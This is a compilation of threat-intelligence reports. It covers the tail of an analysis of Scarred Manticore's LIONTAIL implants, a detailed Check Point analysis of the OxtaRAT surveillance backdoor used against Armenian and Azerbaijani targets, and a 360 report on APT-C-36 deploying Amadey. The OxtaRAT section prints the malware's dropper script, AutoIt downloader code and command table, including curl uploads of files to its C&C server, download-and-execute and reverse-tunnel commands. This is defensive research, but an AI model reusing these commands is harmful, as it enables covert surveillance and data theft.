drivers. Currently, we are not aware of any other +threat actors utilizing these tools, and we attribute them all to Scarred Manticore based on +multiple code overlaps and shared victimology. +29/31 +Conclusion +For the last few years, Scarred Manticore has been observed carrying out multiple stealthy +operations in Middle Eastern countries, including gaining access to telecommunications and +government organizations in the region, and maintaining and leveraging this access for +months to systematically exfiltrate data from the victims + systems. Examining the history of +their activities, it becomes evident how far the threat actor has come in improving their +attacks and enhancing their approach which relies on passive implants. +While LIONTAIL represents a logical progression in the evolution of FOXSHELL and still +bears some distinctive characteristics that allow us to attribute attacks involving LIONTAIL to +Scarred Manticore, it stands out from other observed variants. The LIONTAIL framework +does not use common, usually monitored methods for implementing listeners: it no longer +depends on Internet Information Services (IIS), its modules, or any other options and +libraries provided by the .NET framework to manage IIS programmatically. Instead, it utilizes +the lowest level of Windows HTTP Stack by interacting directly with the HTTP.sys driver. In +addition, it apparently allows the threat actors to customize the implants, their configuration +parameters, and loaders + file delivery type. All those have enhanced the stealth ability of the +implants, enabling them to evade detection for an extended period. +We expect that Scarred Manticore operations will persist and may spread into other regions +as per Iranian long-term interests. While most of the recent activity of Scarred Manticore is +primarily focused on maintaining covert access and data extraction, the troubling example of +the attack on the Albanian government networks serves as a reminder that nation-state +actors may collaborate and share access with their counterparts in intelligence agencies. +Check Point Customers Remain Protected +Check Point Customers remain protected against attacks detailed in this report, while using +IPS, Check Point Harmony Endpoint and Threat Emulation. +IPS: +Backdoor.WIN32.Liontail.A/B +Threat Emulation: +APT.Wins.Liontail.C/D +IOCs +30/31 +daa362f070ba121b9a2fa3567abc345edcde33c54cabefa71dd2faad78c10c33 +f4639c63fb01875946a4272c3515f005d558823311d0ee4c34896c2b66122596 +2097320e71990865f04b9484858d279875cf5c66a5f6d12c819a34e2385da838 +67560e05383e38b2fcc30df84f0792ad095d5594838087076b214d849cde9542 +4f6351b8fb3f49ff0061ee6f338cd1af88893ed20e71e211e8adb6b90e50a3b8 +f6c316e2385f2694d47e936b0ac4bc9b55e279d530dd5e805f0d963cb47c3c0d +1485c0ed3e875cbdfc6786a5bd26d18ea9d31727deb8df290a1c00c780419a4e +8578bff36e3b02cc71495b647db88c67c3c5ca710b5a2bd539148550595d0330 +c5b4542d61af74cf7454d7f1c8d96218d709de38f94ccfa7c16b15f726dc08c0 +9117bd328e37be121fb497596a2d0619a0eaca44752a1854523b8af46a5b0ceb +e1ad173e49eee1194f2a55afa681cef7c3b8f6c26572f474dec7a42e9f0cdc9d +a2598161e1efff623de6128ad8aafba9da0300b6f86e8c951e616bd19f0a572b +7495c1ea421063845eb8f4599a1c17c105f700ca0671ca874c5aa5aef3764c1c +6f0a38c9eb9171cd323b0f599b74ee571620bc3f34aa07435e7c5822663de605 +3875ed58c0d42e05c83843b32ed33d6ba5e94e18ffe8fb1bf34fd7dedf3f82a7 +1146b1f38e420936b7c5f6b22212f3aa93515f3738c861f499ed1047865549cb +b71aa5f27611a2089a5bbe34fd1aafb45bd71824b4f8c2465cf4754db746aa79 +da450c639c9a50377233c0f195c3f6162beb253f320ed57d5c9bb9c7f0e83999 +GO UP +31/31 +Operation Silent Watch: Desktop Surveillance in Azerbaijan and Armenia +research.checkpoint.com/2023/operation-silent-watch-desktop-surveillance-in-azerbaijan-and-armenia +February 16, 2023 +Executive summary +Amid rising tensions between Azerbaijan and Armenia over the Lachin corridor in late 2022, Check Point Research identified a malicious +campaign against entities in Armenia. The malware distributed in this campaign is a new version of a backdoor we track as OxtaRAT, an +AutoIt-based tool for remote access and desktop surveillance. +Key findings: +The newest version of OxtaRAT is a polyglot file, which combines compiled AutoIT script and an image. The tool capabilities include +searching for and exfiltrating files from the infected machine, recording the video from the web camera and desktop, remotely controlling +the compromised machine with TightVNC, installing a web shell, performing port scanning, and more. +Compared to previous campaigns of this threat actor, the latest campaign from November 2022 presents changes in the infection chain, +improved operational security, and new functionality to improve the ways to steal the victim +s data. +The threat actors behind these attacks have been targeting human rights organizations, dissidents, and independent media in Azerbaijan +for several years. This is the first time there is a clear indication of these attackers using OxtaRAT against Armenian targets and targeting +corporate environments. +In this report, we provide a full technical analysis of the OxtaRAT as well as its capabilities and evolution over the years. We also discuss the +tactics, techniques and procedures (TTPs) of the threat actors, complete with an overview of their activity throughout the years. +Background +The Republic of Artsakh, also known as the Nagorno-Karabakh Republic, is a breakaway region in the South Caucasus with a majority ethnic +Armenian population but is recognized internationally as part of Azerbaijan. It is a de facto enclave within Azerbaijan, with the only land route +to Armenia through the Lachin corridor, which has been under the control of Russian peacekeepers since the end of the Second NagornoKarabakh War in 2020. +The situation in Artsakh is tense, with frequent ceasefire violations and sporadic outbreaks of violence. For more than two decades, this +unresolved highly militarized ethno-nationalist territorial conflict continues to be a source of tension between Armenia and Azerbaijan. +Figure 1 + Map of the conflict over Nagorno-Karabakh (Artsakh). Source: CNN. +The Infection Chain +1/12 +Figure 2 + The infection chain. +A malicious file named Israeli_NGO_thanks_Artsakh_bank_for_the_support_of.scr was submitted to VirusTotal (VT) on November 29, +2022, from an IP address located in Yerevan, Armenia. +It is a self-extracting archive that masquerades as a PDF file and bears a PDF icon. Upon execution, it drops to the Temp folder of the infected +device and executes a self-extracting cab called Alexander_Lapshin.EXE . This in turn drops multiple additional files and executes one of +them + the exec.bat script. In its deobfuscated form, this script is very short: +@echo off +xcopy /y /e /k /h /i * %appdata%\Autoit3\ +copy /b /y %appdata%\Autoit3\Alexander_Lapshin.pdf %temp%\ +start %temp%\Alexander_Lapshin.pdf +start %appdata%\Autoit3\Autoit3.exe %appdata%\Autoit3\icon.png +exit +The exec.bat file is responsible for opening a lure PDF file that contains a Wikipedia article about Alexander Lapshin. At the same time, in +the background, it copies multiple auxiliary files and the AutoIt interpreter to %appdata%\Autoit3\ and uses it to execute a malicious AutoIt +code hidden inside an image called icon.png . +2/12 +Figure 3 + Lure PDF document. +Alexander Lapshin, a Russian-Israeli travel blogger, journalist, and human rights activist, was detained in Belarus in 2016 and extradited to +Azerbaijan. He was sentenced to 3 years in prison for illegally crossing the internationally recognized borders of Azerbaijan, without +authorization from the Azerbaijani authorities, in 2011 and 2012 while visiting Nagorno-Karabakh from Armenia. Nine months into his +detention, in September 2017, Lapshin was attacked in a solitary confinement cell of a Baku pre-trial detention center. The attack was publicly +declared by Azerbaijani officials to be a suicide attempt. Afterward, he was pardoned by the Azerbaijani President and deported to Israel. +In 2021, the European Court of Human Rights in the +CASE OF LAPSHIN v. AZERBAIJAN + ruled that Lapshin +s right to life had been violated +by Azerbaijan authorities and mandated that Azerbaijan pay 30,000 Euros as compensation. After the verdict, Lapshin publicly posted a +picture of the credit card he opened to receive his compensation, issued by the Armenian Artsakhbank. Likely, this incident made Lapshin +name an attractive lure for the attackers targeting the bank. +The OxtaRAT Backdoor +As we mentioned previously, AutoIT.exe is used to run code from an image called icon.png . This is a polyglot malware, combining valid +JPEG and AutoIT A3X file formats: +3/12 +Figure 4 + Icon.png image and its internal structure. +AutoIT is a legitimate tool that is used by many IT administrators to automate tasks but is frequently abused by threat actors. In this case, the +actors use a fully functional backdoor containing approximately 20,000 lines of obfuscated AutoIt code: +Figure 5 + Fragment of OxtaRAT code including string obfuscations and random names. +The backdoor, which we call OxtaRAT, contains a variety of capabilities typically associated with espionage activity. It contains commands that +allow the attackers to: +Run additional code on the infected machine, install a PHP web shell, download, upload and execute files. +Search and exfiltrate files from specific locations or with specific patterns, and even install the PHP FileManager for easier access to and +management of the files. +Perform active surveillance activity: record video from a web camera or desktop, and install additional software, such as TightVNC, to +remotely control and monitor the machine. +Perform recon on the local machine, such as getting information about the processes, drives, system information, and the speed of the +internet connection using Speedtest. +Use a compromised host as a pivot to move through the network: perform port scanning and use Putty +s plink for tunneled +communication. +Execution flow +The backdoor starts by first setting up its base folder, moving the icon.png file there, and adding a persistence mechanism to run it every 2 +minutes with AutoIt3.exe via a scheduled task named WallPaperChangeApp . It also creates a working folder to store the results and logs of +each command execution and sets hidden and system attributes for both base and working folders to conceal them from being easily +discovered and arouse suspicion. It also downloads the legitimate curl executable and DLL, which are later used for some types of C&C +communication. +The C&C server for this sample is edupoliceam[.]info , a lookalike for the domain of the Police Education Complex of Police of the Republic +of Armenia. +Next, the malware enters the main infinite loop, where in each step it performs the following actions: +Creates a screenshot of the infected computer. +Sends a GET request to the C&C server to report the victim +s basic information: https://edupoliceam[.]info/upload.php?GUID= +&SYS=PC_Name|User_Name|IP_address . +Uploads (using curl) to the C&C server all the files from the working folder which contain screenshots and the results and logs of the +previous command execution. +Sends a GET request to C&C server to retrieve the command from the URL: https://edupoliceam[.]info/upload.php?GUID= +&come=1 . +Most of the capabilities require additional files, mostly legitimate, to be downloaded during the malware execution from the path on the server +/requirement/up/bin/ : +4/12 +/requirement/up/bin/postup.exe (curl.exe) +/requirement/up/bin/libcurl.dll +/requirement/up/bin/vlc.zip +/requirement/up/bin/7zxa.dll +/requirement/up/bin/7za.exe +/requirement/up/bin/7za.dll +/requirement/up/bin/pscclient.exe (port scanner) +/requirement/up/bin/ptun.exe (Plink) +/requirement/up/bin/wintight.exe (TightVNC) +/requirement/up/bin/wsrrun.exe (PHP CLI and PHP File Manager, https://sourceforge.net/projects/phpfm/) +/requirement/up/bin/WinRAR32.zip +/requirement/up/bin/WinRAR64.zip +/requirement/up/bin/speedtest.zip (based on https://github.com/sivel/speedtest-cli) +/requirement/up/bin/AppCrashCollector.exe (the +implant +The only next-stage tool that wasn +t available on the server, was AppCrashCollector.exe , whose download and execution are triggered by +the implant command. We assume that this is the payload that the actors attempt to hide from researchers and deliver to important targets +only after additional checks are performed on the infected machine. +C&C communication and commands +The communication between the malware and its C&C server is based on clear text commands, the arguments for each command are separated +by the + sign. +The full list of commands supported by the backdoor: +5/12 +command +parameters +description +download +file name +Upload a file using curl (postup.exe): postup.exe -s -o nul -k --max-time 777 -A +"Mozilla/5.0 (Windows NT 11.0; rv:54.0) Gecko/20100101 Firefox/96.1" -F +"file=@"filename" https://edupoliceam[.]info/upload.php?GUID= . +upload +file name +Download a file and save it with a specified filename and random prefix in the Temp directory. +uploadexec +file name +Download and execute with wmic /node:%computername%" process call create +$output_filename . +aueval +expression to +be evaluated +Execute a specified expression with AutoIT command Execute. +makepersistent +Create a scheduled task called WallPaperChangeApp . +Implant +Download and execute AppCrashCollector.exe . +stopimplant +Kill the AppCrashCollector process with taskkill /IM and set settings.ini to 0. +search +path, pattern +Search for a pattern in a specified path with PowerShell -Noni -command '(get-childitem '" & +$path & "' -Recurse -ea 0)| select Fullname | ? {$_.Fullname -like '" & $pattern & +"'} | fl . +listdesktop +List the contents of the Desktop folder with dir /s "%homepath%\Desktop . +listdir +directory path +List a specified directory recursively, including the last modified date and size. +massdownload +path, filter +Upload files from a specified path with a specified filter (include/exclude), using curl for each file (the +same way as the download command), with &MASSDL=1 parameter in the URL. +massdownload2list +path, filter +List all files in a specified path matching the specified filter to the Thumb.db file. +massdownload2 +path, filter, +[range] +Upload files from a specified path from Thumb.db with POST request to the URL +with &MASSDL2=1 parameter. +webcamrecord +length +Webcam recording using VLC: $tmp_blcvid & "\blc\vlc\MediaRun.exe --no-qt-privacy-ask +dshow:// --sout file/avi:" & $tmp_blcvid & "\webcam-video-record-" & $timestamp & +"-sec-" & $chunk_length & ".avi --run-time=" & $chunk_length & " -Idummy --quiet +vlc://quit" . The records are uploaded zipped using curl and are then deleted. +desktoprecord +length +Desktop recording using VLC: $tmp_blcvid & "\blc\vlc\MediaRun.exe --no-qt-privacy-ask +screen:// --sout file/avi:" & $tmp_blcvid & "\Desktop-video-record-" & $timestamp +& "-sec-" & $chunk_length & ".avi --run-time=" & $chunk_length & " -Idummy --quiet +vlc://quit" . The records are uploaded zipped using curl and then deleted. +tightvnc +Download Wintight.exe (AutoIt compiled executable which extracts and runs tvnserver.exe) and +execute it with wmic process call create . +killtightvnc +Kill TightVNC with taskkill /IM TVN* /F . +zipit +source, zip file +name, +destination, +[filter] +Zip the folder using 7za.exe . +unzipit +source, +destination +Unzip the archive using 7za.exe . +installrar +Download and unzip WinRAR. +rarit +source, +destination, +[extensions], +[volume_size] +Archive the file/files with specific extensions from the folder using WinRAR. +unrarit +source, +destination +Extract the archive using Unrar.exe. +reboot +Reboot with cmd.exe /c shutdown -r -t 0 /f . +curl +Execute the curl command: postup.exe -i -vvv -k --max-time 60 -A "Mozilla/5.0 +(Windows NT 11.0; rv:54.0) Gecko/20100101 Firefox/96.0.1" & $url . +portscan +ip/ip_range, +port/port_range +Download and execute the portscan script (AutoIT-based pscclient.exe ) +6/12 +command +parameters +description +tunnel +server, user, +password, port, +host, +host_port, +local_port +Download, unzip and execute reverse port forwarding with plink: ptun.exe & $server & " -P " & +$port & " -C -R 127.0.0.1:" & $listen_port & ":" & $host & ":" & $host_port & " -l +" & $user & " -pw " & $password . +killtunnel +Kill the tunnel with taskkill /IM powers* /F & taskkill /IM ptun.exe . +wwwserv +Download, unzip and run PHP web server on port 3136 with PHP File Manager. This is done by +downloading the AutoIT-based wsrrun.exe which extracts all needed files and executes php CLI +as connectionlessupdate.exe -q -S 127.0.0.1:3136 -t -H . +stopwwwserv +Kill the web server with taskkill /IM connectionle* /F . +wmicexec +process +sysinfo +Execute with 'wmic /node:' & %computername% & 'process call create' & $process . +Collect system info with hostname & ipconfig /all & arp -a & getmac & net use & net +share & quser /server:localhost & whoami /all & net user & systeminfo & wmic +process get commandline & nslookup myip.opendns.com. resolver1.opendns.com . +getip +Get network drives with PowerShell -ep bypass -command get-psdrive. +showdrives +Get network drives with powershell -ep bypass -command get-psdrive . +proclist +Get the process list by wmic process get commandline . +speedtest +Download, unzip and execute Speedtest. +showagentversion +Return the agent version (version 11 is hardcoded in this specific sample). +tempclean +Clean the Temp folder with rmdir /q /s %temp%, mkdir %temp% . +radar +time +exitself +Exit if the time since the last call is smaller than the parameter. +Exit. +For the commands that require output, the final command line that was executed and its output are written to the working directory to the file +with Random(1, 815782) & "-command-.txt" name. +Previous campaigns +Although not widely discussed, previous versions of the OxtaRAT backdoor were used in earlier attacks against Azerbaijani political and human +rights activists + or, when the targets were not disclosed publicly, their lures referenced Azerbaijan-Armenia tensions around Artsakh. The +older versions of OxtaRAT have significantly less functionality than the new variant but contain similar code and names for most of the +commands and the same C&C communication pattern. +June 2021 +In July 2021, Qurium Media reported that several prominent human rights and political activists in Azerbaijan received targeted phishing +emails that lured them to download malware from the Google Drive link. The link led to a password-protected RAR archive (the password was +specified in the email) which in turn contained an Auto-IT compiled executable called +Human Rights Invoice Form Document +-2021.exe" . When executed, it downloaded from the C&C server shoesbuysellone[.]live the main AutoIT malware (md5: +0360185bc6371ae42ca0dffe0a21455d). Although it doesn +t contain a hardcoded +agent version + number, we can clearly see that this is an +earlier version of OxtaRAT. It has very similar functionality and code, but supports fewer commands (11 in total): +download +implant +stopimplant +massdownload +webcamrecord +desktoprecord +makepersistent +aueval +upload +uploadexec +wmicexec +August 2021 +In August 2021, another sample was observed, this time submitted to VirusTotal from Armenia. The file called +REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION (Final Updated 2021).scr also bears the PDF icon, and when executed, presents +the victim with the following PDF lure: +7/12 +Figure 6 + PDF lure for the August 2021 version (md5: ddac9a1189e4b9528d411e07d0e98895). +In the background, it downloads the main malware from the C&C server https://www.filecloudservices.xyz/wp-comment.php and +saves it as PhoneAppService.Exe . The code of this version implements the same string obfuscation as the newest version: +$koda_gui = +StringFromASCIIArray(StringSplit("77|111|122|105|108|108|97|47|53|46|48|32|40|76|105|110|117|120|59|32|85|59|32|65|110|100|114|111|105| +"|"), 1) // Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 +Mobile Safari/534.30 18.3 +FileInstall(".\REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION_AGAINST_ARTSAKH.pdf", @AppDataDir & "\" & +"REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION_AGAINST_ARTSAKH.pdf", 1) +$n = +StringFromASCIIArray(StringSplit("104|116|116|112|115|58|47|47|119|119|119|46|102|105|108|101|99|108|111|117|100|115|101|114|118|105|99|10 +"|"), 1) //https://www.filecloudservices.xyz/wp-comment.php +$m = StringFromASCIIArray(StringSplit("80|104|111|110|101|65|112|112|83|101|114|118|105|99|101|46|69|120|101", "|"), 1) +//PhoneAppService.Exe +Run(@ComSpec & " File.txt /" & "c " & StringFromASCIIArray(StringSplit("115|116|97|114|116", "|"), 1) & " " & @AppDataDir & "\" & +"REPORT_ON_THE_AZERBAIJANI_MILLITARY_AGRESSION_AGAINST_ARTSAKH.pdf", @AppDataDir, @SW_HIDE) +HttpSetUserAgent($koda_gui) +HttpSetProxy(1) +InetGet($n, @TempDir & "\" & $m, 1) +February 2022 +In February of last year, Qurium reported another attack, this time targeting Abulfaz Gurbanli, an Azerbaijani political activist. The attackers +pretended to be BBC journalists and, similar to the June 2021 attacks, sent the victim an email which contained a Google Drive link, pointing to +a password-protected RAR archive called BBC-suallar.rar ( +BBC questions +). Once again, a AutoIT-compiled executable called +suallar.scr was extracted. This time, it masqueraded as a Word document, complete with a Word icon. Upon execution, it presented the +lure DOC file called smm-fraza.doc . +In the background, it downloaded from the C&C server https://smartappsfoursix[.]xyz/wp-feed.php and run another version of +OxtaRAT. This is a more advanced version, compared to the 2021 attacks, with many additional commands added (29 in total): +8/12 +download +aueval +upload +uploadexec +exittemp +implant +stopimplant +radar +massdownload +webcamrecord +desktoprecord +makepersistent +untrace +wwwserv +stopwwwserv +curl +reboot +zipit +unzipit +tunnel +tightvnc +wmicexec +search +sysinfo +showdrives +getip +listdesktop +killtightvnc +killtunnel +The version from June 2021 was capable only of downloading and exfiltrating files, executing the binaries and AutoIT code, and recording data +from the desktop and web camera. In contrast, the version observed in February 2022 is a more powerful malware with a lot of additional +features. The actors added capabilities to improve local file enumeration (list files on the desktop, search for specific files), collect data about +the compromised system, work with zip files, and, most importantly, improved the ways they can access and control the infected machine by +adding commands to install TightVNC or the PHP web server. +How does the attack from November 2022 differ from the earlier attacks? +Infection chain +The first change that the actors implemented in their latest attack is in the infection chain. Previously, the initial .SCR files, masquerading as +Word or PDF documents, served only as downloaders. They sent a request to WordPress-like URLs on the C&C server ( wp-feed.php , wpcomment.php , etc) and then executed the main malware received from the attackers + server. In the latest campaign, the .SCR file already +contains the OxtaRAT backdoor, as a polyglot file. This saves the actors from needing to make additional requests for binaries to the C&C +server and attracting unnecessary attention, as well as hides the main malware from being easily discovered on the infected machine, as it looks +like a regular image and bypasses type-specific protections. +Geofencing +The actors added an additional measure to protect their infrastructure, geofencing the C&C domains that store the auxiliary tools and +additional payloads. This is a technique currently used by many experienced threat actors to make sure that the proper execution flow is not +triggered by sandboxes or researchers, but only on the targeted machines. In this case, the actors limited their operations to Armenian IP +addresses. +Data collection and exfiltration +Since the previous publicly disclosed version, OxtaRAT was updated with 10 additional commands introducing new functionality. Most of the +new features aim to improve the ways to steal the victim +s data. For example, they implemented the listdir command to recursively +enumerate the files in a specified folder, collecting additional data such as the last modified date and size. The previously existing command +massdownload , which is used to exfiltrate files of predefined types, was also updated with a few new file extensions (marked in bold): +"*.mdb;*.accdb;*.rdo;*.ora;*.accda;*.accdr;*.accdt;*.ppt;*.avi;*.pptx;*.odt;*.pdf;*.txt;*.msf;*.docx;*.xml;*.doc;*.rtf; +As can be seen from this snippet, the actors are now interested in additional file types related to Oracle and Microsoft Access databases. This is +an interesting development, as it indicates they may be broadening their targets to include corporate networks or specific individuals, as +common private computers rarely contain personal files in DB formats. +The actors also implemented +advanced + mass-download commands such as the massdownload2 and massdownload2list that allow the +actors to enumerate and exfiltrate specified filetypes more conveniently. In addition, they implemented functions to work with RAR archives +( installrar , rarit , unrarit ) which, along with the clear benefits of uploading the auxiliary tools inside RAR archives to the infected +machines, enable the actors to archive all the files of their interest to the multi-volume RAR archive. The default list of extensions provided in +the code of the rarit exfiltration function shows a focus on documents, pictures, archives, and databases: +Func rar_it($source_file_or_dir, $destination_path, $extensions_to_rar = +"*.xls;*.xlsx;*.doc;*.docx;*.pdf;*.rar;*.zip;*.tar;*.tar.gz;*.sql;*.txt;*.mdb;*.jpg;*.jpeg;*.accdb", $parts = "12M") +Another interesting feature included in the most recent version is the speedtest command which invokes Speedtest CLI, a dedicated tool to +test the speed and performance of an internet connection. As the malware is not only capable of collecting a large quantity of files but also +recording video from a web camera and screen, it can produce significantly large outputs with gigabytes of data. Therefore, for the sake of +9/12 +OPSEC, to hide the extensive data exfiltration the actors likely needed a way to control and estimate the upload all of the collected information +to their servers. +The last feature added to the data collection mechanism is a proclist command, which uses WMIC to retrieve the command line for each of +the processes. This feature might be used for evasion purposes, so the actors can make sure they are running in an actual environment as +opposed to a sandbox, as well as to learn more about the software configurations running on the victim +s machine. +Port Scanning +One of the unexpected features that we found during this investigation is the portscan tool, which is included only in the newer version of the +backdoor. The port scanner, pscclient.exe , is an Auto-IT based non-obfuscated TCP Connect tool that can scan a specified range of IP +addresses and a range of ports. The default range of ports configured in the tool includes both well-known and non-standard ports: +Global $port_range[100] = [135, 4444, 136, 137, 138, 139, 20, 21, 22, 23, 80, 443, 445, 8443, 8080, 3131, 3128, 5681, 5060, 5061, 3389, 33899, +33399, 3390, 389, 4000, 1433, 1521, 9222, 45687, 7292, 789, 50022, 2109, 2233, 55522, 33391, 33392, 33390, 33394, 33389, 33398] +OxtaRAT, which previously had mostly local recon and surveillance capabilities, can now be used as a pivot for active reconnaissance of other +devices. This may indicate that the threat actors are preparing to extend their main attack vector, which is currently social engineering, to +infrastructure-based attacks. It also might be a sign that the actors are moving from targeting individuals to targeting more complex or +corporate environments. +Infrastructure +Our search for domains with similar characteristics to edupoliceam[.]info led to more active domains: filesindrive[.]info , +mediacloud[.]space and avvpassport[.]info . All the domains are registered with NameCheap. While filesindrive[.]info and +mediacloud[.]space , similar to filecloudservices[.]xyz used in back in 2021, have a generic reference to cloud file storages, the +domain avvpassport[.]info is more specific, and it masquerades as the Passport and Visa Office of the Republic of Armenia. Both of these +domains, edupoliceam[.]info and avvpassport[.]info , were created on September 23, 2022, and were likely also used for other attacks +on Armenian targets. +At the beginning of our investigation, all of these domains used Cloudflare services to hide their IP addresses. Due to their configuration, by +looking for IP addresses with the same behavior, we identified 38.242.197[.]156 as likely their real IP address. While we were completing +the investigation and notifying the relevant parties, Cloudflare blocked these domains as malicious, and they all started to publicly resolve to +their real IP address 38.242.197[.]156 . +Targeting and Attribution +Alexander Lapshin, whose name is used in the lure, shared that on the same day the samples were uploaded to VT, the representatives of +Artsakh bank notified that they received malicious emails in his name. This information was also later confirmed by Cyberhub-AM, digital +security helpdesk for Armenian civil society. Due to the infrastructure revealed, we believe that there might have been other targets of this +campaign in Armenia as well. +Figure 7 + Facebook post by Lapshin (automatic translation). +All of the samples from this campaign and earlier ones are related to Azerbaijani government interests; they either targeted Azerbaijani +political and human rights activists or, if the targets were not disclosed publicly, reference tensions between Azerbaijan and Armenia over +Artsakh/Nagorno-Karabakh. Meta, in their Adversarial Threat Report Q1-2021, attributed the previous campaigns reported by Qurium to the +Azeri Ministry of Internal Affairs. However, no technical analyses were provided. +In 2017, Amnesty International reported a campaign that started as early as November 2015 and continued through 2017. This campaign used +Autoit malware called AutoItSpy against Azerbaijani dissidents, and was later connected by Qurium to other +denial-of-service attacks, +intrusion attempts, spear-phishing campaigns and electronic media monitoring from Internet infrastructure associated with the Government +of Azerbaijan. + The AutoItSpy malware used at the time had the ability to log the keystrokes and collect screenshots, exfiltrating both of them +over SMTP protocol. +10/12 +Even though we couldn +t find any infrastructure overlap with our campaign (considering a gap of a few years and public exposure of previous +attacks), there is a significant overlap in major TTPs: +The use of AutoIT malware. +The use of files with SCR extensions bearing document-related icons (PDF, Word). +A focus on surveillance technology (keylogging, screen capture, data exfiltration). +Similar consistent targeting. +Although it is tricky to compare the code of tools with different functionality (keylogger compared to a full-blown surveillance tool), there are a +few high-level overlaps in the coding style of these tools: +The samples from the AutoItSpy campaign are obfuscated with similar techniques as the OxtaRAT samples from 2022. +Temporary file names with collected information of AutoItSpy and OxtraRAT both mimic the Windows thumbnail cache: +Figure 8 +Thumb + in file names of AutoItSpy (top) and OxtraRAT (bottom). +Additional details such as extensively using %random% %random% %random% in all the batch scripts, immediately setting file attributes +with FileSetAttrib($dir, "+SH") for all the newly created folders, excessive usage of the Random function, etc. +Based on these similarities in TTPs, code and targeting, we can conclude with medium confidence that both cases involve the same threat +actors. We can also speculate that the missing +implant + in OxtaRAT that we were unable to access might be a keylogger; not only is it an +important functionality missing from OxtaRAT +s multi-functional surveillance arsenal, but also the actors might take extra measures to avoid +revealing it to anyone except the targets, possibly to avoid attribution based on already uncovered information. +Conclusion +In this article, we describe the latest attack and the evolution of the tools in the campaigns against Armenian targets, as well as Azerbaijani +activists and dissidents. All the details indicate that the underlying threat actors have been maintaining the development of Auto-IT based +malware for the last seven years, and are using it in surveillance campaigns whose targets are consistent with Azerbaijani interests. +Check Point +s Threat Prevention Engines provides comprehensive coverage of attack tactics, file-types, and operating systems and protects +against attacks such as described in this research. ThreatCloud is Check Point +s rich cyber defense database. Its threat intelligence powers +Check Point +s zero-day protection solutions. +Check Point products provide the following coverage against this threat: +Anti-Bot: Trojan.WIN32.OxtaRAT.A, Trojan.WIN32.OxtaRAT.B +Threat Emulation: Trojan.WIN.OxtaRAT.A +IOCs +11/12 +6ac414fad3d61ad5b23c2bcdd8ee797f +ddac9a1189e4b9528d411e07d0e98895 +0360185bc6371ae42ca0dffe0a21455d +ddac9a1189e4b9528d411e07d0e98895 +1c94f1c6241cb598da5da7150a0dc541 +df9673032789847a367df9923bbd44d2 +a1a39e458977aa512b7ff2ba1995b18d +cf225029cade918d92b4b4e2b789b7a5 +86b5245112436e8a5eabf92fab01ffba +edupoliceam[.]info +filesindrive[.]info +mediacloud[.]space +avvpassport[.]info +filecloudservices[.]xyz +38.242.197[.]156 +GO UP +BACK TO ALL POSTS +12/12 +Analysis of activities of suspected APT-C-36 (Blind +Eagle) organization launching Amadey botnet Trojan +mp.weixin.qq.com/s/-7U1-NTP0EdVOtptzbHUsg +Advanced Threat Institute 360 Threat Intelligence Center 2023-10-31 06:05 Posted onBeijing +APT-C-36 +blind eagle +APT-C-36 (Blind Eagle) is an APT organization suspected to come from South America. Its +main targets are located in Colombia and some areas of South America such as Ecuador +and Panama. Since its discovery in 2018, the organization has continued to launch targeted +attacks against government departments, finance, insurance and other industries as well as +large companies in Colombia. +During the tracking of the APT-C-36 organization, we found that the organization is +constantly trying new attack streams and trying to add the Amadey botnet Trojan to its +arsenal. +1. Analysis of attack activities +In daily hunting activities, we discovered that the APT-C-36 organization recently attempted +to add the Amadey botnet Trojan to its usual PDF spear phishing attack flow. The Amadey +botnet Trojan is a modular botnet Trojan that appeared for sale on Russian hacker forums +around October 2018. It has the capabilities of intranet traversal, information theft, remote +command execution, script execution, and DDos attacks. +1. Attack process analysis +The attack flow of the Amadey botnet Trojan was used in this campaign. +2. Load delivery analysis +The decoy PDF document downloads an encrypted compressed package containing a +malicious VBS script from a third-party cloud service. +Malicious code data is embedded in VBS. +The Powershell exploit script code is generated by replacing special characters and +decrypted by beas64. The Powershell code downloads two payloads from a third-party +platform for loading and running. +3. Attack component analysis +One of the two payloads is net_dll for reflection loading, which can be seen frequently used +by APT-C-36 in previous attacks; the other is the Amadey botnet Trojan. As a relatively +complete botnet Trojan, Amadey has: Sandbox, persistence, permission acquisition, script +execution, remote control, data theft and other functions. +Net_dll +The Powershell script decrypts the net_dll payload data by downloading it from a third-party +platform and calls the CdWDdB.DKeSvl.NnIaUq method to implement reflective loading. The +net_dll is a common component of APT-C-36 and is mainly used for persistence and loading +the next stage of payload execution. +After Net_dll is run, a vbs and ps1 script will be created in the %TEMP% folder of the +computer for persistence. +Create scheduled tasks for persistence. +Continue to download the next-stage payload encoding data from the third-party platform, +reverse the encoded data, replace special characters, and base64 decode the encoded data +to obtain the next-stage payload. +The processed net_dll payload data is loaded reflectively by calling its +KoAOkX.MXuuJb.WwQTZc method. In the second stage, after net_dll is run, the AsyncRAT +Trojan is injected into the system process to run. +Amadey +The base64 encoded data downloaded by the Powershell script code from another thirdparty platform is the Amadey botnet Trojan. As a relatively complete botnet Trojan, Amadey +has: anti-sandbox, persistence, permission acquisition, script execution, command +execution, lateral movement, DDos attacks, data theft and other functional plug-ins. +461A67CE40F4A12863244EFEEF5EBC26 +size +237056 (bytes) +type +WIN32 EXE +After running the distributed Amadey, it will download three files: cred.dll, clip.dll, and +onLyofFicED.bat. The dll file is Amadey +s information collection component and is used to +steal user privacy data such as browser accounts. The bat file is to Malicious scripts +executed. +During the file request process, Amadey will send specific fields to the CC server based on +the current computer information. +The meaning of each field. +Field +meaning +Infected machine ID +Amadey version number +AmadeyID +system version +Number of system bits +Do you have administrator rights? +Computer name +username +Current domain +Install anti-virus software +GetTaskContent +none +In the bat file, the attacker uses base64 encryption + AES + Gzip to encrypt the two +executable programs and embed them into the script file. After the bat script is run, the +ciphertext data is located through the ":" symbol, decrypted and loaded in sequence. +One of the executable programs is the CrubCrypt encryptor. After running, it Gzip +decompresses the Remcos compressed data of the resource and then loads and runs it. +2. Attribution Research and Judgment +The bait PDF file used in this spear phishing incident, the malicious code obfuscation method +used, and the subsequent payload are consistent with those used by APT-C-36 in previous +activities. +During the continuous tracking of APT-C-36, we found that the organization continues to +launch attacks in Ecuador and other regions, and constantly tries to add new Trojan tools to +its arsenal to improve its attack capabilities. It is foreseeable that APT-C-36 may turn its +attention to new areas in the future, and its own attack capabilities will become more +complex. +Appendix IOC +20561F6497492900567CBF08A20AFCCA +42DD207E642CEC5A12839257DF892CA9 +461A67CE40F4A12863244EFEEF5EBC26 